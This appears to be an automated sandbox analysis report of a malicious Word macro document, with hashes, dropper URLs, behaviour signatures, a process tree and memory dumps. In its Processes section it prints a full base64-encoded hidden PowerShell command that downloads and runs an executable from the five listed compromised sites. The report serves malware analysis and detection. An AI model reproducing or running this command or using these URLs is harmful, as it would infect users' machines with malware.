Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:21

General

  • Target

    78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036.doc

  • Size

    181KB

  • MD5

    d4312f2ba569632cdde2d15fbcc221f1

  • SHA1

    971fba47ccac0a1d860d06eaa7452fb40c441f69

  • SHA256

    78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036

  • SHA512

    b9b3f3230288d381d8e441eb47dc363e6f7cdf2e8fb34684bf4ae31feda7c06d722a5049c9ee7ddc33f17fcc2265283cf15bdceced2a1da35ed231b45ee903da

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP7F:9NO2k4PF7tGiL3HJk9rD7bdasiv86J

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\78df0c6a1ff0609fdf3a8ef30b58fed6db37df9652c5810eefbf70a181967036.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2264
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2816
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7ABBFD44.wmf

      Filesize

      444B

      MD5

      6f546aaeeced3e80796864d05d052ac5

      SHA1

      79e8f72284b3332b9ad76783bcc9afa2d2ce6804

      SHA256

      a50b6cf3567a16fb57641398bfa484a644bb5e9d2c0680676dc3996f52e578e0

      SHA512

      18ebee74c910540e69ebbb809ea7230a5ab544f48ee81e11fd1a8f5de6b53d353fbe742c650e93d7e36495d1328c4420f26e95898038fbc383ef7189a83d7633

    • memory/2264-21-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-15-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-5-0x0000000006BF0000-0x0000000006CF0000-memory.dmp

      Filesize

      1024KB

    • memory/2264-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2264-13-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-12-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-14-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-19-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-36-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-22-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-18-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-17-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-16-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-2-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/2264-25-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-23-0x0000000000880000-0x0000000000980000-memory.dmp

      Filesize

      1024KB

    • memory/2264-35-0x00000000714DD000-0x00000000714E8000-memory.dmp

      Filesize

      44KB

    • memory/2264-0-0x000000002F901000-0x000000002F902000-memory.dmp

      Filesize

      4KB

    • memory/2584-31-0x000000001B700000-0x000000001B9E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2584-32-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

      Filesize

      32KB